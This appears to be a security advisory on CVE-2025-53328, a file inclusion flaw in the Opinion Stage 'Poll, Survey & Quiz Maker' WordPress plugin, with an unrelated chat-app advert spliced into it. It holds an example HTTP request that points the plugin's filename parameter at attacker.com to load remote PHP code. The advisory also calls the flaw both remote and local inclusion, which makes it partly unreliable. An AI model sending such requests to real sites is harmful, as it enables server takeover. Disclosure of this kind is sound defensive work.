Overview
The PHP Remote File Inclusion vulnerability, identified as CVE-2025-53328, impacts the plugin ‘Poll, Survey & Quiz Maker’ by Opinion Stage. This vulnerability is due to the improper control of the filename for Include/Require Statement in the PHP program, which consequently allows PHP Local File Inclusion. This issue is of significance because it could potentially lead to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-53328
Severity: High (CVSS:7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
A new way to communicate
Ameeba Chat is built on encrypted identity, not personal profiles.
Message, call, share files, and coordinate with identities kept separate.
- • Encrypted identity
- • Ameeba Chat authenticates access
- • Aliases and categories
- • End-to-end encrypted chat, calls, and files
- • Secure notes for sensitive information
Private communication, rethought.
Product | Affected Versions
Poll, Survey & Quiz Maker Plugin by Opinion Stage | all versions through 19.11.0
How the Exploit Works
The vulnerability is present due to an improper check on the filename in the Include/Require statement of the PHP program. An attacker can exploit this vulnerability by inducing the application to include a file from a remote server. This file can contain malicious PHP code, which when executed, could lead to unauthorized system access or data leakage.
Conceptual Example Code
Given the nature of the vulnerability, an attacker might use a request like the one below to exploit it:
GET /path/to/vulnerable/plugin.php?filename=http://attacker.com/malicious-file.php HTTP/1.1
Host: target.example.comIn this example, the attacker is attempting to use the ‘filename’ parameter to inject a malicious file into the server. The server, if vulnerable, would then download and execute the malicious PHP script, potentially compromising the system.
Mitigation
It is recommended to apply the vendor patch as soon as it is available to mitigate this vulnerability. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. Regularly updating and patching systems, together with monitoring for unusual network activity, can also help reduce the risk of exploitation.